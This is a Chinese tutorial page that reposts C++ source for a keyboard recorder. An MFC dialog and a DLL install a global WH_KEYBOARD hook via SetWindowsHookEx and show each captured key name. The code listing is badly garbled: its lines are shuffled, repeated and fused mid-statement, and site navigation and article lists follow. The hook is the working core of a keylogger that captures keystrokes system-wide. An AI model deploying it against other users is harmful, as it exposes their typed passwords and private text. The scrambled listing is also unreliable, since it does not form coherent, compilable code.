C++_C++键盘记录程序代码,本文实例讲述了C++键盘记录程
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息
__in WPARAM wParam,
dll的代码:
dlg.DoModal();
OutputDebugString("oncancel");
};
}; {
strItem.Format("按键:%s\r\n", szKey);
public:
SetKeyHook(FALSE);
} return ::CallNextHookEx(g_hHook, code, wParam,lParam);END_MESSAGE_MAP()
BOOL InitInstance();
{
.h头文件代码: // 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS
CString strEdit;
EXPORTS
g_hWndCaller = hWndCaller;
CKeyHook::CKeyHook()
{
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
__in int code,
#define HM_KEY WM_USER + 100
HWND g_hWndCaller=NULL; //保存主窗口句柄
afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam); //处理自定义消息的声明
CString strItem;
}
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
MessageBox("安装钩子失败");
GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
//CMyApp
复制代码 代码如下:
return (HMODULE)mbi.AllocationBase;{
// 这是导出变量的一个示例
CMainDialog(CWnd* pParentWnd = NULL);
return TRUE;
}
protected:
// 符号编译的。在使用此 DLL 的
extern KEYHOOK_API int nKeyHook;
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
{
{
CString strItem;
在析构时,调用DLL中的:
}
}
.cpp源文件代码:
class KEYHOOK_API CKeyHook {GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
// 此类是从 KeyHook.dll 导出的
return;
return 0;
SetKeyHook
// 下列 ifdef 块是创建使从 DLL 导出更简单的
GetKeyNameText(lParam, szKey, 80);
#include <afxwin.h>
#else
// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将
// 这是导出函数的一个示例。
{
.def代码:
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL); #ifdef KEYHOOK_EXPORTS
public:
#pragma comment(lib,"KeyHook.lib")
BOOL CMyApp::InitInstance()
#include "KeyHook.h"
void CMainDialog::OnCancel()
复制代码 代码如下:
{BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
}
}
KEYHOOK_API int nKeyHook=0;
{
复制代码 代码如下:
//通过内存得到模块句柄的帮助函数class CMainDialog:public CDialog
char szKey[80]={0};
GetKeyNameText(lParam, szKey, 80);
LRESULT CALLBACK KeyboardProc(
BOOL bRet = TRUE;
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息
)
bRet = (g_hHook != NULL);
#include "resource.h"
::MessageBeep(MB_OK);
CKeyHook(void);
return bRet;
{
CDialog::OnInitDialog();
}
复制代码 代码如下:
public:if (bInstall) //安装钩子
}
} }
HHOOK g_hHook = NULL; //保存钩子句柄
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
//声明要导出的
{
// 符号视为是被导出的。
virtual BOOL OnInitDialog( );
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)
{
char szKey[80]={0};
__in LPARAM lParam
//处理关闭消息
};
}
{
复制代码 代码如下:
复制代码 代码如下:
// 有关类定义的信息,请参阅 KeyHook.hBOOL CMainDialog::OnInitDialog( )
在初始化时,调用DLL中的:
SetKeyHook(TRUE, 0, m_hWnd)
就是基于对话框的框架,加个个OnHookKey函数,
//CMyDialogreturn 0;
MEMORY_BASIC_INFORMATION mbi;
CMainDialog dlg;
m_pMainWnd = &dlg; //给m_pMainWnd 主窗口
ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息
CString strEdit;
复制代码 代码如下:
if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))CDialog::OnCancel();
#define KEYHOOK_API __declspec(dllimport)
::UnhookWindowsHookEx(g_hHook);
.h头文件代码:
CMyApp theApp;//通知主窗口
HMODULE WINAPI ModuleFromAddress(LPVOID pv)
g_hHook = NULL;
{
}
{
//
g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);
//钩子处理函数
#include "stdafx.h"
}
#include "KeyHookApp.h"
strItem.Format("按键:%s\r\n", szKey);
KEYHOOK_API int fnKeyHook(void);
return;
else //卸载钩子
{
//CMainDialog
}
::MessageBeep(MB_OK);
if (code<0||code==HC_NOREM)
.cpp源文件代码: #endif
class CMyApp:public CWinApp
DECLARE_MESSAGE_MAP()
YCIShared Read Write Shared {
if (!SetKeyHook(TRUE, 0, m_hWnd))
}
SECTIONS
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。
return FALSE; //不进入消息循环
// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的
#define KEYHOOK_API __declspec(dllexport)
// TODO: 在此添加您的方法。
KEYHOOK_API int fnKeyHook(void)
afx_msg void OnCancel();
if (lParam & 0x40000000)
复制代码 代码如下:
//安装和卸载钩子函数#pragma data_seg("YCIShared")
//共享数据段
{
#define HM_KEY WM_USER+100
return NULL;
#pragma data_seg()
{
SetKeyHook(FALSE);
{
// 这是已导出类的构造函数。
}
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
} else
return 42;
//如果重复消息,交给下一链
本站内容来源于网络,如有侵权请与我们联系,我们会及时删除,我们深感抱歉!
注:本站所有信息仅供用于网络技术学习参考,学习中请遵循相关法律法规!
本文地址: https://v30.fanwenzhu.com/jiaob/cjj/6466.shtml
相关文章
热门TAG
win10 ecshop 主机 阿里云 解决 配置 C# C++ 解析 SQL语句 命令 Go语言 方法 CSS3 HTML5 CSS win7 MSSQL 服务器配置 IIS7.5 IIS7 IIS6 IIS CentOS 7 Linux oracle数据库 oracle phpcms discuz discuz教程最新文章
-
只需要在调用Ctrl+B编译后
时间:2021-01-13
-
OpenGL超级宝典visual studio
时间:2021-01-04
-
Directx11 教程(2) 基本的wi
时间:2021-01-04
-
LeetCode11ContainerWithMostWate
时间:2021-01-04
-
C语言简单IT之家速成
时间:2020-12-27
-
三分钟了解Activity工作流
时间:2020-12-27
-
编译器是如何实现32位整型
时间:2020-12-27
-
C++中lower_bound函数和upper
时间:2020-12-27
热门文章
-
LeetCode11ContainerWithMostWater(最大水容器)
时间:2021-01-04
-
C语言简单编程速成
时间:2020-12-23
-
都2020了,这五个最佳C++的IDE你还没用过?
时间:2020-12-23
-
C语言源程序文件的后缀是什么?
时间:2020-12-23
-
OpenGL超级宝典visual studio 2013开发环境配置
时间:2021-01-04
-
编译器是如何实现32位整型的常量整数除
时间:2020-12-27
-
libusbwin32学习笔记(二)
时间:2020-12-27
-
C语言简单IT之家速成
时间:2020-12-27
-
C语言和Python语言有什么区别呢?
时间:2020-12-24
-
C++对象模型之RTTI的实现原理
时间:2020-12-23
